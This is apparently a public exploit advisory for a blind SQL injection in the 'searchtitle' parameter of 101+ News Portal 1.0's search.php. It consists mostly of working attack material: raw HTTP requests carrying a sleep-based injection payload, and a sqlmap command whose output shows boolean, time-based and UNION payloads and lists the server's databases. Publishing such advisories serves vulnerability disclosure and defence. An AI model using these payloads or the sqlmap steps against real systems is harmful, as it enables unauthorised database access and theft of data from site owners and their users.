101+ News Portal 1.0 SQL Injection

# Exploit Title: 101+ News Portal - SQLi# Date: 19/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16067/best-online-news-portal-project-php-free-download.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/101news_0.zip# Version: 1.0# Tested on: Windows, Linux## Description A Blind SQL injection vulnerability in the page (/101news/search.php) in 101+ News Portal allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "searchtitle" parameter. ## Request PoC```POST /101news/search.php HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/101news/Content-Type: application/x-www-form-urlencodedContent-Length: 59Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9searchtitle=232943'```This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "searchtitle" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 20 command works. ```POST /101news/search.php HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/101news/Content-Type: application/x-www-form-urlencodedContent-Length: 59Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9searchtitle=232943'%2b(select*from(select(sleep(20)))a)%2b'```## Exploit with sqlmapSave the request from burp to file ```┌──(root㉿caesar)-[/home/kali/Workstation/multi]└─# sqlmap -r sqli.txt -p 'searchtitle' --batch --dbs --level=3 --risk=2                                           ---snip---POST parameter 'searchtitle' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 114 HTTP(s) requests:---Parameter: searchtitle (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)    Payload: searchtitle=232943' AND 3793=(SELECT (CASE WHEN (3793=3793) THEN 3793 ELSE (SELECT 6168 UNION SELECT 2808) END))-- KdPX    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: searchtitle=232943' AND (SELECT 1460 FROM (SELECT(SLEEP(5)))dqHc)-- zMGY    Type: UNION query    Title: Generic UNION query (NULL) - 8 columns    Payload: searchtitle=232943' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162787071,0x457444695056617478516b4b4f666e73744162466478444e5061624161514f78726c727777764c6b,0x716a6b6271)-- ----[18:01:02] [INFO] the back-end DBMS is MySQLweb application technology: PHP 8.2.0, Apache 2.4.54back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)[18:01:02] [INFO] fetching database namesavailable databases [5]:[*] information_schema[*] mysql[*] newsportal[*] performance_schema[*] phpmyadmin---snip---```